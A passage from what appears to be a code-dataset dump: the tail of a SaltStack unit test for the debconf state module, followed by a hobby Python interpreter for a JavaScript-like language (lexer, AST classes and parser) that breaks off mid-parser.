\"nullmailer\"\n source = \"salt://pathto/pkg.selections\"\n\n ret = {\"name\": name, \"result\": False, \"comment\": \"\", \"changes\": {}}\n\n comt = \"Context must be formed as a dict\"\n ret.update({\"comment\": comt})\n assert debconfmod.set_file(name, source, context=\"salt\") == ret\n\n comt = \"Defaults must be formed as a dict\"\n ret.update({\"comment\": comt})\n assert debconfmod.set_file(name, source, defaults=\"salt\") == ret\n\n with patch.dict(debconfmod.__opts__, {\"test\": True}):\n comt = \"Debconf selections would have been set.\"\n ret.update({\"comment\": comt, \"result\": None})\n assert debconfmod.set_file(name, source) == ret\n\n with patch.dict(debconfmod.__opts__, {\"test\": False}):\n mock = MagicMock(return_value=True)\n with patch.dict(debconfmod.__salt__, {\"debconf.set_file\": mock}):\n comt = \"Debconf selections were set.\"\n ret.update({\"comment\": comt, \"result\": True})\n assert debconfmod.set_file(name, source) == ret\n\n\ndef test_set():\n \"\"\"\n Test to set debconf selections\n \"\"\"\n name = \"nullmailer\"\n data = {\n \"shared/mailname\": {\"type\": \"string\", \"value\": \"server.domain.tld\"},\n \"nullmailer/relayhost\": {\"type\": \"string\", \"value\": \"mail.domain.tld\"},\n }\n\n ret = {\"name\": name, \"result\": None, \"comment\": \"\", \"changes\": {}}\n\n changes = {\n \"nullmailer/relayhost\": \"New value: mail.domain.tld\",\n \"shared/mailname\": \"New value: server.domain.tld\",\n }\n\n mock = MagicMock(return_value=None)\n with patch.dict(debconfmod.__salt__, {\"debconf.show\": mock}):\n with patch.dict(debconfmod.__opts__, {\"test\": True}):\n ret.update({\"changes\": changes})\n assert debconfmod.set(name, data) == ret\n", "repo_name": "saltstack/salt", "sub_path": "tests/pytests/unit/states/test_debconfmod.py", "file_name": "test_debconfmod.py", "file_ext": "py", "file_size_in_byte": 2137, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "salt.states.debconfmod", "line_number": 12, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 10, "usage_type": "attribute"}, {"api_name": "salt.states.debconfmod.set_file", "line_number": 26, "usage_type": "call"}, {"api_name": "salt.states.debconfmod", "line_number": 26, "usage_type": "name"}, {"api_name": "salt.states.debconfmod.set_file", "line_number": 30, "usage_type": "call"}, {"api_name": "salt.states.debconfmod", "line_number": 30, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 32, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 32, "usage_type": "name"}, {"api_name": "salt.states.debconfmod.__opts__", "line_number": 32, "usage_type": "attribute"}, {"api_name": "salt.states.debconfmod", "line_number": 32, "usage_type": "name"}, {"api_name": "salt.states.debconfmod.set_file", "line_number": 35, "usage_type": "call"}, {"api_name": "salt.states.debconfmod", "line_number": 35, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 37, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 37, "usage_type": "name"}, {"api_name": "salt.states.debconfmod.__opts__", "line_number": 37, "usage_type": "attribute"}, {"api_name": "salt.states.debconfmod", "line_number": 37, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 38, "usage_type": "call"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 39, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 39, "usage_type": "name"}, {"api_name": "salt.states.debconfmod.__salt__", "line_number": 39, "usage_type": "attribute"}, {"api_name": "salt.states.debconfmod", "line_number": 39, "usage_type": "name"}, {"api_name": "salt.states.debconfmod.set_file", "line_number": 42, "usage_type": "call"}, {"api_name": "salt.states.debconfmod", "line_number": 42, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 62, "usage_type": "call"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 63, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 63, "usage_type": "name"}, {"api_name": "salt.states.debconfmod.__salt__", "line_number": 63, "usage_type": "attribute"}, {"api_name": "salt.states.debconfmod", "line_number": 63, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 64, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 64, "usage_type": "name"}, {"api_name": "salt.states.debconfmod.__opts__", "line_number": 64, "usage_type": "attribute"}, {"api_name": "salt.states.debconfmod", "line_number": 64, "usage_type": "name"}, {"api_name": "salt.states.debconfmod.set", "line_number": 66, "usage_type": "call"}, {"api_name": "salt.states.debconfmod", "line_number": 66, "usage_type": "name"}]} {"seq_id": "11503937560", "text": "#!/usr/bin/env python3\n\nimport enum, math, random, sys\n\n# TODO: bitwise, comma operator, delete key from object\n# TODO: arrays and array literals\n# TODO: for loops, do-while, built-in methods, standard library\n# TODO: try-catch\n# TODO: write conways game of life to test\n\n# DeleteExpression -> 'delete' MemberAccess\n# returns false if property is non-configurable ex:\n# var a = [1,2,3], delete a[\"length\"]; evaluated to true\n# see: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete\nclass TokenType(enum.Enum):\n\t# TODO: replace var with let\n\tVAR = 0\n\tFUNCTION = 1\n\tIF = 2\n\tELSE = 3\n\tWHILE = 4\n\tRETURN = 5\n\tBREAK = 6\n\tCONTINUE = 7\n\tTRY = 8\n\tCATCH = 9\n\tTHROW = 10\n\tIDENTIFIER = 11\n\tNUMBER = 12\n\tSTRING = 13\n\tBOOL = 14\n\tNULL = 15\n\tOPEN_PAREN = 16\n\tCLOSE_PAREN = 17\n\tOPEN_BRACE = 18\n\tCLOSE_BRACE = 19\n\tOPEN_BRACKET = 20\n\tCLOSE_BRACKET = 21\n\tSEMICOLON = 22\n\tCOLON = 23\n\tMUL_OP = 24\n\tADD_OP = 25\n\tREL_OP = 26\n\tEQ_OP = 27\n\tNOT = 28\n\tASSIGN_OP = 29\n\tCOMMA = 30\n\tDOT_OP = 31\n\tAND_OP = 32\n\tOR_OP = 33\n\tEOF = 34\n\nclass Lexer:\n\treservedWords = {\n\t\t'true' : (TokenType.BOOL, True),\n\t\t'false' : (TokenType.BOOL, False),\n\t\t'null' : (TokenType.NULL, None),\n\t\t'var' : (TokenType.VAR, None),\n\t\t'function' : (TokenType.FUNCTION, None),\n\t\t'if' : (TokenType.IF, None),\n\t\t'else' : (TokenType.ELSE, None),\n\t\t'in' : (TokenType.REL_OP, 'in'),\n\t\t# TODO: delete operator\n\t\t'while' : (TokenType.WHILE, None),\n\t\t'return' : (TokenType.RETURN, None),\n\t\t'break' : (TokenType.BREAK, None),\n\t\t'continue' : (TokenType.CONTINUE, None),\n\t\t'try' : (TokenType.TRY, None),\n\t\t'catch' : (TokenType.CATCH, None),\n\t\t'throw' : (TokenType.THROW, None)\n\t}\n\n\toperators = {\n\t\t'+': TokenType.ADD_OP,\n\t\t'-': TokenType.ADD_OP,\n\t\t'*': TokenType.MUL_OP,\n\t\t'/': TokenType.MUL_OP,\n\t\t'%': TokenType.MUL_OP,\n\t\t'<': TokenType.REL_OP,\n\t\t'>': TokenType.REL_OP,\n\t\t'!': TokenType.NOT,\n\t\t'=': TokenType.ASSIGN_OP,\n\t\t'+=': TokenType.ASSIGN_OP,\n\t\t'-=': TokenType.ASSIGN_OP,\n\t\t'*=': TokenType.ASSIGN_OP,\n\t\t'/=': TokenType.ASSIGN_OP,\n\t\t'%=': TokenType.ASSIGN_OP,\n\t\t'<=': TokenType.REL_OP,\n\t\t'>=': TokenType.REL_OP,\n\t\t'!=': TokenType.EQ_OP,\n\t\t'==': TokenType.EQ_OP,\n\t\t'&&': TokenType.AND_OP,\n\t\t'||': TokenType.OR_OP,\n\t\t'.': TokenType.DOT_OP\n\t}\n\n\tpunctuation = {\n\t\t'(': TokenType.OPEN_PAREN,\n\t\t')': TokenType.CLOSE_PAREN,\n\t\t'{': TokenType.OPEN_BRACE,\n\t\t'}': TokenType.CLOSE_BRACE,\n\t\t'[': TokenType.OPEN_BRACKET,\n\t\t']': TokenType.CLOSE_BRACKET,\n\t\t',': TokenType.COMMA,\n\t\t':': TokenType.COLON,\n\t\t';': TokenType.SEMICOLON\n\t}\n\n\tescapeSequences = {\n\t\t'b': '\\b',\n\t\t'f': '\\f',\n\t\t'n': '\\n',\n\t\t'r': '\\r',\n\t\t't': '\\t',\n\t\t'v': '\\v',\n\t\t'0': '\\0',\n\t\t'\\'': '\\'',\n\t\t'\"': '\"',\n\t\t'\\\\': '\\\\'\n\t}\n\n\tdef __init__(self, s):\n\t\tself.s = s\n\t\tself.i = 0\n\n\tdef getchar(self, noEof = False):\n\t\tpos = self.i\n\t\tself.i += 1\n\t\tif pos < len(self.s):\n\t\t\treturn self.s[pos]\n\t\telse:\n\t\t\tif noEof:\n\t\t\t\traise Exception('unexpected EOF')\n\t\t\treturn ''\n\n\tdef unget(self):\n\t\tself.i -= 1\n\n\tdef lexan(self):\n\t\twhile True:\n\t\t\tc = self.getchar()\n\t\t\t# EOF\n\t\t\tif c == '':\n\t\t\t\treturn (TokenType.EOF, '')\n\t\t\t# Whitespace\n\t\t\telif c.isspace():\n\t\t\t\tcontinue\n\t\t\t# Comments and Division\n\t\t\telif c == '/':\n\t\t\t\tc = self.getchar()\n\n\t\t\t\t# Single line comment\n\t\t\t\tif c == '/':\n\t\t\t\t\twhile c != '' and c != '\\n':\n\t\t\t\t\t\tc = self.getchar()\n\t\t\t\telif c == '*':\n\t\t\t\t\t# Multiline comments\n\t\t\t\t\twhile True:\n\t\t\t\t\t\tc = self.getchar(True)\n\t\t\t\t\t\twhile c != '*':\n\t\t\t\t\t\t\tc = self.getchar(True)\n\t\t\t\t\t\tc = self.getchar(True)\n\t\t\t\t\t\tif c == '/':\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tif c == '*':\n\t\t\t\t\t\t\tself.unget()\n\t\t\t\telif c == '=':\n\t\t\t\t\treturn (Lexer.operators['/='], '/=')\n\t\t\t\telse:\n\t\t\t\t\tself.unget()\n\t\t\t\t\treturn (Lexer.operators['/'], '/')\n\t\t\t# Numbers\n\t\t\telif c.isdigit():\n\t\t\t\t# TODO: octal and hex literals\n\t\t\t\t# Integer Part\n\t\t\t\tnumber = 0\n\t\t\t\twhile c.isdigit():\n\t\t\t\t\tnumber *= 10\n\t\t\t\t\tnumber += ord(c) - ord('0')\n\t\t\t\t\tc = self.getchar()\n\n\t\t\t\t# Check if floating point\n\t\t\t\tif c == '.':\n\t\t\t\t\tfloatPart = 0\n\t\t\t\t\tdecimalPlace = 0.1\n\t\t\t\t\tc = self.getchar(noEof=True)\n\t\t\t\t\tif not c.isdigit():\n\t\t\t\t\t\traise Exception('invalid token %r at %d' % (c, i))\n\n\t\t\t\t\twhile c.isdigit():\n\t\t\t\t\t\tfloatPart += decimalPlace * (ord(c) - ord('0'))\n\t\t\t\t\t\tdecimalPlace /= 10.0\n\t\t\t\t\t\tc = self.getchar()\n\t\t\t\t\tnumber += floatPart\n\n\t\t\t\tself.unget()\n\t\t\t\treturn (TokenType.NUMBER, number)\n\t\t\t# Identifiers and reserved words\n\t\t\telif c.isalpha() or c == '$' or c == '_':\n\t\t\t\tidentifier = ''\n\t\t\t\twhile c.isalnum() or c == '$' or c == '_':\n\t\t\t\t\tidentifier += c\n\t\t\t\t\tc = self.getchar()\n\t\t\t\tself.unget()\n\t\t\t\treturn Lexer.reservedWords.get(identifier, (TokenType.IDENTIFIER, identifier))\n\t\t\t# String literals\n\t\t\telif c == '\"' or c == '\\'':\n\t\t\t\tquoteType = c\n\t\t\t\ttext = ''\n\t\t\t\tc = self.getchar(noEof=True)\n\t\t\t\twhile c != quoteType:\n\t\t\t\t\t# Escape sequence\n\t\t\t\t\tif c == '\\\\':\n\t\t\t\t\t\tc = self.getchar(noEof=True)\n\t\t\t\t\t\tc = Lexer.escapeSequences.get(c, c)\n\t\t\t\t\ttext += c\n\t\t\t\t\tc = self.getchar(noEof=True)\n\n\t\t\t\treturn (TokenType.STRING, text)\n\t\t\t# Operators\n\t\t\telif c in '<>=+-*%!':\n\t\t\t\tif self.getchar() == '=':\n\t\t\t\t\treturn (Lexer.operators[c + '='], c + '=')\n\t\t\t\telse:\n\t\t\t\t\tself.unget()\n\t\t\t\t\treturn (Lexer.operators[c], c)\n\t\t\telif c == '&':\n\t\t\t\tif self.getchar() != '&':\n\t\t\t\t\traise Exception('invalid token for and')\n\t\t\t\treturn (TokenType.AND_OP, '&&')\n\t\t\telif c == '|':\n\t\t\t\tif self.getchar() != '|':\n\t\t\t\t\traise Exception('invalid token for or')\n\t\t\t\treturn (TokenType.OR_OP, '||')\n\t\t\telif c == '.':\n\t\t\t\treturn (TokenType.DOT_OP, None)\n\t\t\t# Punctuation\n\t\t\telif c in Lexer.punctuation:\n\t\t\t\treturn (Lexer.punctuation[c], None)\n\t\t\telse:\n\t\t\t\traise Exception('unknown token %r' % c)\n\n\tdef tokenize(self):\n\t\ttokens = []\n\t\twhile True:\n\t\t\tt = self.lexan()\n\t\t\tif t[0] == TokenType.EOF:\n\t\t\t\tbreak\n\t\t\ttokens.append(t)\n\t\treturn tokens\n\nclass Statement:\n\tdef eval(self, environment):\n\t\traise NotImplemented\n\nclass Expression(Statement):\n\tpass\n\nclass Number(Expression):\n\tdef __init__(self, value):\n\t\tself.value = value\n\tdef __repr__(self):\n\t\treturn '%f' % self.value\n\tdef eval(self, environment):\n\t\treturn self.value\n\nclass String(Expression):\n\tdef __init__(self, value):\n\t\tself.value = value\n\tdef __repr__(self):\n\t\treturn '%r' % self.value\n\tdef eval(self, environment):\n\t\treturn self.value\n\nclass Bool(Expression):\n\tdef __init__(self, value):\n\t\tassert(value in [True, False])\n\t\tself.value = value\n\tdef __repr__(self):\n\t\tif self.value:\n\t\t\treturn 'true'\n\t\treturn 'false'\n\tdef eval(self, environment):\n\t\treturn self.value\n\nclass Null(Expression):\n\tdef __repr__(self):\n\t\treturn 'null'\n\tdef eval(self, environment):\n\t\treturn None\n\nclass Identifier(Expression):\n\tdef __init__(self, name):\n\t\tself.name = name\n\tdef __repr__(self):\n\t\treturn 'id(%s)' % self.name\n\tdef eval(self, environment):\n\t\treturn environment.get(self.name)\n\nclass ObjectLiteral(Expression):\n\tdef __init__(self, members):\n\t\tassert(type(members) == list)\n\t\tself.members = []\n\t\tfor key, value in members:\n\t\t\tassert(isinstance(value, Expression))\n\t\t\tif type(key) == String:\n\t\t\t\tself.members.append((key.value, value))\n\t\t\telif type(key) == Identifier:\n\t\t\t\tself.members.append((key.name, value))\n\t\t\telse:\n\t\t\t\tassert(type(key) == Number)\n\t\t\t\tself.members.append((key.value, value))\n\tdef __repr__(self):\n\t\treturn '{%s}' % (', '.join('%r:%r' % (key, value) for key, value in self.members),)\n\n\tdef eval(self, environment):\n\t\to = {}\n\t\tfor key, value in self.members:\n\t\t\to[key] = value.eval(environment)\n\t\treturn o\n\nclass MemberAccess(Expression):\n\tdef __init__(self, obj, key):\n\t\tassert(isinstance(key, Expression))\n\t\tassert(isinstance(obj, Expression))\n\t\tself.obj, self.key = obj, key\n\tdef __repr__(self):\n\t\treturn '%r[%r]' % (self.obj, self.key)\n\n\tdef eval(self, environment):\n\t\t'''\n\t\t$ // object is evaluated first, then key\n\t\t$ var a = {};\n\t\t$ function f() { console.log(\"f\"); return a; };\n\t\t$ function g() { console.log(\"g\"); return \"a\";};\n\t\t$ f()[g()];\n\t\tf\n\t\tg\n\t\t$\n\t\t'''\n\t\tobj = self.obj.eval(environment)\n\t\tkey = self.key.eval(environment)\n\t\tif type(obj) != dict:\n\t\t\traise Exception('non-objects do not have members')\n\t\treturn obj.get(key)\n\nclass Block(Statement):\n\tdef __init__(self, statements):\n\t\tself.statements = statements\n\tdef __repr__(self):\n\t\tr = '\\n'.join(s.__repr__() for s in self.statements)\n\t\treturn '{ %s }' % r\n\tdef eval(self, environment):\n\t\tenvironment = Environment(environment)\n\t\tfor statement in self.statements:\n\t\t\tstatement.eval(environment)\n\nclass Function:\n\tdef __init__(self, params, body, closure):\n\t\tself.params = params\n\t\tself.body = body\n\t\tself.closure = closure\n\n\tdef __repr__(self):\n\t\tparamsRep = ', '.join(self.params)\n\t\treturn 'function(%s)%r env: %r' % (paramsRep, self.body, self.closure)\n\n\tdef __call__(self, *arguments):\n\t\tenvironment = Environment(self.closure)\n\t\tif len(arguments) != len(self.params):\n\t\t\traise Exception('wrong number of arguments')\n\t\tfor name, value in zip(self.params, arguments):\n\t\t\tenvironment.create(name, value)\n\t\ttry:\n\t\t\tself.body.eval(environment)\n\t\texcept ReturnValue as r:\n\t\t\treturn r.value\n\nclass FunctionLiteral(Expression):\n\tdef __init__(self, params, body):\n\t\tparamNames = set()\n\t\tself.params = []\n\t\tfor param in params:\n\t\t\tassert(type(param) == Identifier)\n\t\t\tif param.name in paramNames:\n\t\t\t\traise Exception('Repeated function parameter name %r' % param.name)\n\t\t\tparamNames.add(param.name)\n\t\t\tself.params.append(param.name)\n\t\tassert(type(body) == Block)\n\t\tself.body = body\n\n\tdef __repr__(self):\n\t\tparamsRep = ', '.join(self.params)\n\t\treturn 'function(%s)%r' % (paramsRep, self.body)\n\n\tdef eval(self, environment):\n\t\treturn Function(self.params, self.body, environment)\n\nclass Call(Expression):\n\tdef __init__(self, fun, args):\n\t\tassert(isinstance(fun, Expression))\n\t\tfor arg in args:\n\t\t\tassert(isinstance(arg, Expression))\n\t\tself.fun, self.args = fun, args\n\n\tdef __repr__(self):\n\t\targs = ', '.join(a.__repr__() for a in self.args)\n\t\treturn 'call(%r, %s)' % (self.fun, args)\n\n\tdef eval(self, environment):\n\t\t# TODO: which gets evaluated first? function or arguments\n\t\tfun = self.fun.eval(environment)\n\n\t\tif callable(fun):\n\t\t\treturn fun(*[a.eval(environment) for a in self.args])\n\t\traise Exception('not callable')\n\nclass Not(Expression):\n\tdef __init__(self, expr):\n\t\tassert(isinstance(expr, Expression))\n\t\tself.expr = expr\n\tdef __repr__(self):\n\t\treturn 'not(%r)' % self.expr\n\tdef eval(self, environment):\n\t\treturn not self.expr.eval(environment)\n\nclass UnaryMinus(Expression):\n\tdef __init__(self, expr):\n\t\tassert(isinstance(expr, Expression))\n\t\tself.expr = expr\n\tdef __repr__(self):\n\t\treturn 'minus(%r)' % self.expr\n\tdef eval(self, environment):\n\t\treturn -self.expr.eval(environment)\n\nclass BinaryOp(Expression):\n\tdef __init__(self, lhs, rhs, op):\n\t\tassert(isinstance(lhs, Expression))\n\t\tassert(isinstance(rhs, Expression))\n\t\tself.lhs, self.rhs, self.op = lhs, rhs, op\n\tdef __repr__(self):\n\t\treturn '(%s %r %r)' % (self.op, self.lhs, self.rhs)\n\tops = {\n\t\t'*': lambda a, b: a * b,\n\t\t'/': lambda a, b: a / b,\n\t\t'%': lambda a, b: a % b,\n\t\t'+': lambda a, b: a + b,\n\t\t'-': lambda a, b: a - b,\n\t\t'<': lambda a, b: a < b,\n\t\t'<=': lambda a, b: a <= b,\n\t\t'>': lambda a, b: a > b,\n\t\t'>=': lambda a, b: a >= b,\n\t\t'in': lambda a, b: a in b,\n\t\t'==': lambda a, b: a == b,\n\t\t'!=': lambda a, b: a != b\n\t}\n\n\tdef eval(self, environment):\n\t\t# TODO: type checking and type conversions\n\t\treturn BinaryOp.ops[self.op](self.lhs.eval(environment), self.rhs.eval(environment))\n\nclass MulOp(BinaryOp):\n\tdef __init__(self, lhs, rhs, op):\n\t\tassert(op in '*/%')\n\t\tBinaryOp.__init__(self, lhs, rhs, op)\n\nclass AddOp(BinaryOp):\n\tdef __init__(self, lhs, rhs, op):\n\t\tassert(op in '+-')\n\t\tBinaryOp.__init__(self, lhs, rhs, op)\n\nclass RelOp(BinaryOp):\n\tdef __init__(self, lhs, rhs, op):\n\t\tassert(op in ['<', '<=', '>', '>=', 'in'])\n\t\tBinaryOp.__init__(self, lhs, rhs, op)\n\nclass EqOp(BinaryOp):\n\tdef __init__(self, lhs, rhs, op):\n\t\tassert(op in ['==', '!='])\n\t\tBinaryOp.__init__(self, lhs, rhs, op)\n\nclass AndOp(BinaryOp):\n\tdef __init__(self, lhs, rhs, op):\n\t\tassert(op == '&&')\n\t\tBinaryOp.__init__(self, lhs, rhs, '&&')\n\tdef eval(self, environment):\n\t\tlhs = self.lhs.eval(environment)\n\t\tif not lhs:\n\t\t\treturn lhs\n\t\treturn self.rhs.eval(environment)\n\nclass OrOp(BinaryOp):\n\tdef __init__(self, lhs, rhs, op):\n\t\tassert(op == '||')\n\t\tBinaryOp.__init__(self, lhs, rhs, '||')\n\tdef eval(self, environment):\n\t\tlhs = self.lhs.eval(environment)\n\t\tif lhs:\n\t\t\treturn lhs\n\t\treturn self.rhs.eval(environment)\n\nclass AssignOp(BinaryOp):\n\tdef __init__(self, lhs, rhs, op):\n\t\tassert(op in ['=', '+=', '-=', '*=', '/=', '%='])\n\t\tBinaryOp.__init__(self, lhs, rhs, op)\n\n\tdef eval(self, environment):\n\t\tvalue = self.rhs.eval(environment)\n\n\t\tif type(self.lhs) == Identifier:\n\t\t\tget = lambda: environment.get(self.lhs.name)\n\t\t\tdef update(value):\n\t\t\t\tenvironment.update(self.lhs.name, value)\n\t\telif type(self.lhs) == MemberAccess:\n\t\t\tkey = self.lhs.key.eval(environment)\n\t\t\tobj = self.lhs.obj.eval(environment)\n\t\t\tif type(obj) != dict:\n\t\t\t\traise Exception('non-objects do not have members')\n\t\t\tget = lambda: obj.get(key)\n\t\t\tdef update(value): obj[key] = value\n\t\telse:\n\t\t\t# See: https://stackoverflow.com/questions/16686974/can-a-functions-return-value-be-an-lvalue-in-javascript\n\t\t\t# and https://stackoverflow.com/questions/13124417/real-world-examples-of-ecmascript-functions-returning-a-reference\n\t\t\traise Exception('invalid left-hand side in assignemnt')\n\n\t\tif self.op != '=':\n\t\t\t# Note: get is not called for '=' -> allows adding members\n\t\t\tcurValue = get()\n\t\t\tif self.op == '+=':\n\t\t\t\tvalue = curValue + value\n\t\t\telif self.op == '-=':\n\t\t\t\tvalue = curValue - value\n\t\t\telif self.op == '*=':\n\t\t\t\tvalue = curValue * value\n\t\t\telif self.op == '/=':\n\t\t\t\tvalue = curValue / value\n\t\t\telif self.op == '%=':\n\t\t\t\tvalue = curValue % value\n\t\t\telse:\n\t\t\t\traise Exception('unknown assignment operator %r' % self.op)\n\n\t\tupdate(value)\n\t\treturn value\n\nclass If(Statement):\n\tdef __init__(self, condition, body, elseBody=None):\n\t\tassert(isinstance(condition, Expression))\n\t\tassert(isinstance(body, Statement))\n\t\tif elseBody:\n\t\t\tassert(isinstance(elseBody, Statement))\n\t\tself.condition, self.body, self.elseBody = condition, body, elseBody\n\tdef __repr__(self):\n\t\te = ''\n\t\tif self.elseBody != None:\n\t\t\te = ' else %r' % self.elseBody\n\t\treturn '(if (%r) %r%s)' % (self.condition, self.body, e)\n\n\tdef eval(self, environment):\n\t\tif self.condition.eval(environment):\n\t\t\tself.body.eval(environment)\n\t\telif self.elseBody != None:\n\t\t\tself.elseBody.eval(environment)\n\nclass While(Statement):\n\tdef __init__(self, condition, body):\n\t\tassert(isinstance(condition, Expression))\n\t\tassert(isinstance(body, Statement))\n\t\tself.condition, self.body = condition, body\n\tdef __repr__(self):\n\t\treturn '(while (%r) %r)' % (self.condition, self.body)\n\n\tdef eval(self, environment):\n\t\twhile self.condition.eval(environment):\n\t\t\ttry:\n\t\t\t\tself.body.eval(environment)\n\t\t\texcept BreakLoop:\n\t\t\t\tbreak\n\t\t\texcept ContinueLoop:\n\t\t\t\tcontinue\n\nclass ReturnValue(Exception):\n\tdef __init__(self, value):\n\t\tself.value = value\n\nclass Return(Statement):\n\tdef __init__(self, expr=None):\n\t\tif expr != None:\n\t\t\tassert(isinstance(expr, Expression))\n\t\tself.expr = expr\n\tdef __repr__(self):\n\t\treturn 'return %r' % self.expr\n\n\tdef eval(self, environment):\n\t\traise ReturnValue(self.expr and self.expr.eval(environment))\n\nclass BreakLoop(Exception): pass\nclass Break(Statement):\n\tdef __repr__(self):\n\t\treturn 'break'\n\tdef eval(self, environment):\n\t\traise BreakLoop()\n\nclass ContinueLoop(Exception): pass\nclass Continue(Statement):\n\tdef __repr__(self):\n\t\treturn 'continue'\n\tdef eval(self, environment):\n\t\traise ContinueLoop()\n\nclass ExceptionObject(Exception):\n\tdef __init__(self, obj):\n\t\tself.obj = obj\n\nclass Throw(Statement):\n\tdef __init__(self, expr):\n\t\tself.expr = expr\n\tdef __repr__(self):\n\t\treturn 'throw %r' % self.expr\n\tdef eval(self, environment):\n\t\traise ExceptionObject(self.expr.eval(environment))\n\nclass TryCatch(Statement):\n\tdef __init__(self, tryBlock, catchBlock, exceptionIdentifier):\n\t\tself.tryBlock = tryBlock\n\t\tself.catchBlock = catchBlock\n\t\tself.exceptionIdentifier = exceptionIdentifier\n\tdef eval(self, environment):\n\t\ttry:\n\t\t\tself.tryBlock.eval(environment)\n\t\texcept ExceptionObject as e:\n\t\t\tcatchEnv = Environment(environment)\n\t\t\tcatchEnv.create(self.exceptionIdentifier, e.obj)\n\t\t\tself.catchBlock.eval(catchEnv)\n\t\t# TODO: finally + multiple catch blocks\n\nclass Declaration(Statement):\n\t# TODO: use Null instead of none for default expression values\n\tdef __init__(self, name, initializer=None):\n\t\tassert(isinstance(name, Identifier))\n\t\tif initializer:\n\t\t\tassert(isinstance(initializer, Expression))\n\t\tself.name, self.initializer = name, initializer\n\tdef __repr__(self):\n\t\ti = ''\n\t\tif self.initializer != None:\n\t\t\ti = ' = %r' % self.initializer\n\t\treturn 'var %s%s' % (self.name.name, i)\n\tdef eval(self, environment):\n\t\tvalue = None\n\t\tif self.initializer:\n\t\t\tvalue = self.initializer.eval(environment)\n\t\tenvironment.create(self.name.name, value)\n\nclass Parser:\n\tdef __init__(self, s):\n\t\tself.lexer = Lexer(s)\n\t\tself.tokenType, self.tokenValue = self.lexer.lexan()\n\n\tdef match(self, c):\n\t\tif self.tokenType != c:\n\t\t\traise Exception('expected token of type %r not %r (%r)' % (c, self.tokenValue, self.tokenValue))\n\t\tself.tokenType, self.tokenValue = self.lexer.lexan()\n\n\tdef identifier(self):\n\t\ti = Identifier(self.tokenValue)\n\t\tself.match(TokenType.IDENTIFIER)\n\t\treturn i\n\n\tdef function(self):\n\t\t'''\n\t\tFunction -> 'function' '(' ParameterNames ')' Block\n\t\tParameterNames -> epsilon | ParameterName {',' ParameterName }*\n\t\tParameterName -> Identifier\n\t\t'''\n\t\tself.match(TokenType.FUNCTION)\n\t\tself.match(TokenType.OPEN_PAREN)\n\n\t\tparameters = []\n\t\tif self.tokenType == TokenType.IDENTIFIER:\n\t\t\tparameters.append(self.identifier())\n\t\t\twhile self.tokenType == TokenType.COMMA:\n\t\t\t\tself.match(TokenType.COMMA)\n\t\t\t\tparameters.append(self.identifier())\n\n\t\tself.match(TokenType.CLOSE_PAREN)\n\t\tbody = self.block()\n\t\treturn FunctionLiteral(parameters, body)\n\n\tdef objectLiteral(self):\n\t\tmembers = []\n\t\tdef member():\n\t\t\t#https://stackoverflow.com/questions/6500573/dynamic-keys-for-object-literals-in-javascript\n\t\t\tif self.tokenType not in [TokenType.STRING, TokenType.IDENTIFIER, TokenType.NUMBER]:\n\t\t\t\traise Exception(\"Object literal keys must be string or number literals, or identifiers\")\n\t\t\tkey = self.atom()\n\t\t\tself.match(TokenType.COLON)\n\t\t\tvalue = self.expression()\n\t\t\tmembers.append((key, value))\n\n\t\tself.match(TokenType.OPEN_BRACE)\n\t\tif self.tokenType != TokenType.CLOSE_BRACE:\n\t\t\tmember()\n\t\t\twhile self.tokenType == TokenType.COMMA:\n\t\t\t\tself.match(TokenType.COMMA)\n\t\t\t\tmember()\n\n\t\tself.match(TokenType.CLOSE_BRACE)\n\t\treturn ObjectLiteral(members)\n\n\tdef atom(self):\n\t\t'''\n\t\tAtom -> Number | String | Identifier | 'true' | 'false' | 'null' |\n\t\t\tObjectLiteral | Function | '(' Expression ')'\n\t\t'''\n\t\tif self.tokenType == TokenType.NUMBER:\n\t\t\te = Number(self.tokenValue)\n\t\t\tself.match(TokenType.NUMBER)\n\t\telif self.tokenType == TokenType.STRING:\n\t\t\te = String(self.tokenValue)\n\t\t\tself.match(TokenType.STRING)\n\t\telif self.tokenType == TokenType.IDENTIFIER:\n\t\t\treturn self.identifier()\n\t\telif self.tokenType == TokenType.BOOL:\n\t\t\te = Bool(self.tokenValue)\n\t\t\tself.match(TokenType.BOOL)\n\t\telif self.tokenType == TokenType.NULL:\n\t\t\te = Null()\n\t\t\tself.match(TokenType.NULL)\n\t\telif self.tokenType == TokenType.OPEN_BRACE:\n\t\t\treturn self.objectLiteral()\n\t\telif self.tokenType == TokenType.FUNCTION:\n\t\t\treturn self.function()\n\t\telse:\n\t\t\tself.match(TokenType.OPEN_PAREN)\n\t\t\te = self.expression()\n\t\t\tself.match(TokenType.CLOSE_PAREN)\n\t\treturn e\n\n\tdef unit(self):\n\t\t'''\n\t\tUnit -> Atom | MemberAccess | FunctionCall\n\t\tMemberAccess -> Atom '[' Expression ']' | Atom '.' Identifier\n\t\tFunctionCall -> Atom '(' Arguments ')'\n\t\tArguments -> epsilon | Expression {',' Expression }*\n\t\t'''\n\t\tu = self.atom()\n\t\t# Member access and function calls can be chained\n\t\twhile self.tokenType in [TokenType.OPEN_BRACKET, TokenType.DOT_OP, TokenType.OPEN_PAREN]:\n\t\t\tif self.tokenType == TokenType.OPEN_BRACKET:\n\t\t\t\tself.match(TokenType.OPEN_BRACKET)\n\t\t\t\tmember = self.expression()\n\t\t\t\tself.match(TokenType.CLOSE_BRACKET)\n\t\t\t\tu = MemberAccess(u, member)\n\t\t\telif self.tokenType == TokenType.DOT_OP:\n\t\t\t\tself.match(TokenType.DOT_OP)\n\t\t\t\tu = MemberAccess(u, 